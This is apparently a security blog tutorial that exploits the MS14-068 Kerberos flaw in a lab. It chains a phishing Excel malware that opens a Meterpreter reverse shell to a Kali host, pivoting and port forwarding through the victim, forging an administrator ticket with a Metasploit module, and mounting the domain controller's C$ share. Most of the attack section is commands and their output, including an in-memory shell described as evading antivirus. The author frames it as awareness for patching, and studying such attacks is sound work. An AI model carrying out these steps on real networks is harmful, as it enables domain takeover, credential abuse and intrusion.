How to exploit MS14-68 vulnerability

  Security
 

This article shows how is possible to exploit an active directory system by a simple phishing campaign.

For this scope I will use metasploit framework: you must know the password (there are different way to stole the password but it is out the scope) of a domain user and have an Active Directory with MS14-68 vulnerability.

The goal is to increase the awareness of system administrator about the risk not to patch the systems: the only way to defense from this attack.

These are the steps involved for exploiting the active directory:

  1. A email with a malware excel is sent to a domain user with known password. The excel contains a visual basic script that permit to hacker to get a meterpreter shell from a kali linux. This first step is explained in my article https://www.securityandit.com/security/excel-malware-with-metasploit/
  2. The client is exploited.
  3. The client exploited is used for forwarding the traffic to Active Directory (this is called pivot attack) exploiting the MS14-68 vulnerability. The goal is to get a Kerberos ticket of Administrator user knowing only the password of a domain user: wonderful.
  4. Exploit the Active Directory system using the crafted kerberos ticket.

The picture below shows the scenario involved in the article.

  1. active directory exploit with Kali

These are the systems used in my laboratory:

System Role Address
Windows 2008 Server Active Directory Attacked 192.168.1.50/24
Windows 2008 Server Domain Computer Attacked 192.168.1.40/24
Kali Linux System Attacking 192.168.2.8/24

 

The step one is described in the https://www.securityandit.com/security/excel-malware-with-metasploit/.

Let’s start, before describing the step 2, to explain in what consists the MS14-68 bug.

MS14-68 Vulnerability

The Active Directory stores the authorization data in a field of ticket called PAC (Privilege Account Certificate). This PAC contains authorization data provided by domain controllers (DCs).

The PAC is provided by DC in the field autorization data of the service ticket. It is signed with the KDC key (only the AD knows) and with the service key shared between the service for witch wants to be authenticated and the AD.

The vulnerability MS14-068 published by Microsoft on 18 November 2014 permits with a valid domain user account to get administrator privilege creating a forged PAC, containing administrator account membership, inside a TG_REQ sent to KDC.

The KDC accepts this forged PAC putting it inside a new TGT ticket released in the TG_REP. This ticket can be used for service escalation privilege asking to KDC a service ticket: in this case a smb service ticket.

Following the TG_REP with the forged PAC accepted by vulnerable KDC:

pac-forged

For understanding better the kerberos protocol you can read my article .https://www.securityandit.com/network/freeipa-active-directory-integration/.

Let’s explain now how to get the privilege escalation using the kali linux.

MS14-68 Exploit with Metasploit

The first step of attack is to get a meterpreter shell using the metaploit framework already installed in Kali. For doing that, a social attack is executed: a mail with a excel malware is sent to victim.

When the victims opens the excel malware, the visual basic script inside the document loads in memory a reverse shell-code downloaded directly by kali attacking linux. This is explained in my article https://www.securityandit.com/security/excel-malware-with-metasploit/.

The reverse shell code loads a meterpreter shell. Following the output of kali linux after the attacked user has opened the malware excel:

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > set LHOST 192.168.2.8
LHOST => 192.168.2.8
msf exploit(handler) > exploit
[*] Started HTTPS reverse handler on https://0.0.0.0:443/
[*] Starting the payload handler…
msf exploit(handler) > exploit
[*] Started HTTPS reverse handler on https://0.0.0.0:443/
[*] Starting the payload handler…
[*] 192.168.1.40:4611 (UUID: c970d9d1e402531a/x86=1/windows=1/2016-04-29T10:09:42Z) Staging Native payload …
[*] Meterpreter session 1 opened (192.168.2.8:443 -> 192.168.1.40:4611) at 2016-04-29 12:09:42 +0200
meterpreter >

I remember that this shell is loaded as dll directly in memory for avoiding antivirus detection. After getting the meterpreter shell, the attacker gets all the domain information useful for exploiting the vulnerability:

meterpreter > getuid
Server username: KALI\test
meterpreter > shell
Process 2724 created.
Channel 2 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\test>whoami /user
whoami /user
USER INFORMATION
—————-
User Name SID
===================== ============================================
kali\test  S-1-5-21-1326425546-361234568-735759108-1104
C:\Users\test> net user test /domain
net user test /domain
The request will be processed at a domain controller for domain kali.it.
C:\Users\test>nslookup
nslookup
Default Server: UnKnown
Address: 192.168.1.50
> set type=SRV
> _kerberos._tcp.kali.it
Server: UnKnown
Address: 192.168.1.50
_kerberos._tcp.kali.it SRV service location:
priority = 0
weight = 100
port = 88
svr hostname = win-ah5ut7srklp.kali.it
win-ah5ut7srklp.kali.it internet address = 192.168.1.50

The only information missing is the user password that we cannot find without exploiting the system: let’s suppose to know it.

Before executing this attack, a route is added for tcp forwarding to active directory by meterpreter shell: attack called pivot.

meterpreter > background
msf exploit(handler) > route add 192.168.1.50 255.255.255.255 1
[*] Route added

Now the attack can be started:

msf auxiliary(ms14_068_kerberos_checksum) > use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
msf auxiliary(ms14_068_kerberos_checksum) > set DOMAIN kali.it
DOMAIN => kali.it
msf auxiliary(ms14_068_kerberos_checksum) > set user test
user => test
msf auxiliary(ms14_068_kerberos_checksum) > set password xyxhatsyasy
password xyxhatsyasy
msf auxiliary(ms14_068_kerberos_checksum) > set USER_SID S-1-5-21-1326425546-361234568-735759108-1104
USER_SID => S-1-5-21-1326425546-361234568-735759108-1104
msf auxiliary(ms14_068_kerberos_checksum) > set RHOST 192.168.1.50
RHOST => 192.168.1.50
msf auxiliary(ms14_068_kerberos_checksum) > exploit
[*] Validating options…
[*] Using domain KALI.IT…
[*] 192.168.1.50:88 – Sending AS-REQ…
[*] 192.168.1.50:88 – Parsing AS-REP…
[*] 192.168.1.50:88 – Sending TGS-REQ…
[+] 192.168.1.50:88 – Valid TGS-Response, extracting credentials…
[+] 192.168.1.50:88 – MIT Credential Cache saved on /root/.msf4/loot/20161015180527_default_192.168.1.50_windows.kerberos_053817.bin
[*] Auxiliary module execution completed

A TGT ticket has been created containing administrator user PAC. It can be imported in a shell in this way:

root@kali:~/.msf4/loot#cp /root/.msf4/loot/20161015180527_default_192.168.1.50_windows.kerberos_053817.bin /tmp/krb5cc_
root@kali:~/.msf4/loot# klist
Ticket cache: FILE:/tmp/krb5cc_0
Default principal: test@KALI.IT
Valid starting Expires Service principal
10/11/2016 16:14:10 10/12/2016 02:14:10 krbtgt/KALI.IT@KALI.IT

The last piece of information for completing the attack is the service ticket. We want only to mount the C: directory of Active Directory and for that we need a service ticket to present to smb server of AD server.

This service ticket contains the PAC already present in the TGT received above.

For obtaining the service ticket another TG_REQ keberos packet must be sent to AD: it can be done with kvno command that connects to kerberos port that is 88: a port forward must be configured on the windows system exploited for this port.

meterpreter > portfwd add -l 88 -p 88 192.168.1.50
[*] Local TCP relay created: 0.0.0.0:88 <-> 192.168.1.50:88

The knvo commands must obtain via dns an answer to the SRV kerberos query (_kerberos._tcp.kali.it). Unfortunately udp forward is not possible in metasploit: a good solution for workaround that is to create a fake kali.it zone by bind9 server:

root@kali:~# more /etc/bind/kali.local
$ORIGIN kali.it.
$TTL 1h
@ IN SOA kali.it. root.com. (
2015031817 ; Serial yyyymmddnn
3h ; Refresh After 3 hours
1h ; Retry Retry after 1 hour
1h ; Expire after 1 week 1w
1h) ; Minimum negative caching of 1 hour
@ IN NS ns1.kali.it.
; SERVIZI FRONTEND
win-ah5ut7srklp 600 IN A 127.0.0.1
_kerberos.WIN-AH5UT7SRKLP TXT “kali.it”
_kerberos._tcp SRV 0 0 88 win-ah5ut7srklp
root@kali:~# vi /etc/resolv.conf
127.0.0.1

As shown the ip address of KDC is localhost that is forwarded due to rule added above to window client exploited.

The service ticket can be asked by kvno. First change the krb5.conf for enabling the comunication to KDC only in TCP.

root@kali:~/.msf4/loot#vi /etc/krb5.conf
udp_preference_limit = 0
root@kali:~/.msf4/loot# kvno cifs/WIN-AH5UT7SRKLP.kali.it@KALI.IT
cifs/WIN-AH5UT7SRKLP.kali.it@KALI.IT: kvno = 3
root@kali:~/.msf4/loot# klist
Ticket cache: FILE:/tmp/krb5cc_0
Default principal: test@KALI.IT
Valid starting Expires Service principal
10/11/2016 16:14:10 10/12/2016 02:14:10 krbtgt/KALI.IT@KALI.IT
10/11/2016 23:00:14 10/12/2016 02:14:10 cifs/WIN-AH5UT7SRKLP.kali.it@KALI.IT

For completing the attack this service ticket must be present to smb server port that is 445. Another port forwarding must be added by meterpreter shell:

msf auxiliary(ms14_068_kerberos_checksum) > portfwd add –l 445 –p 445 –r 192.168.1.50
meterpreter > portfwd list
0: 0.0.0.0:88 -> 192.168.1.50:88
1: 0.0.0.0:445 -> 192.168.1.50:445

Now the attack can be terminated:

root@kali:~/.msf4/loot# smbclient -k -W kali.it //WIN-AH5UT7SRKLP.kali.it/c$
OS=[Windows Server 2008 R2 Standard 7601 Service Pack 1] Server=[Windows Server 2008 R2 Standard 6.1]
smb: \>

 

It’s also possible to load the TGT on windows client system and using it for persistent attacks. It could be explained in next article.

Conclusions

I hope that with this article the awareness about patching the system operating and the software in general is vital for avoiding devastating attack like that.

The sensibility about a security approach in a company should be shared between IT departments and the other teams.

I suggest to Administrator systems to organize periodically fake attacks by for example phishing email in order to spread a security culture in every company level.

Please comment my article for any suggestion or question.

Best Regards.

LEAVE A COMMENT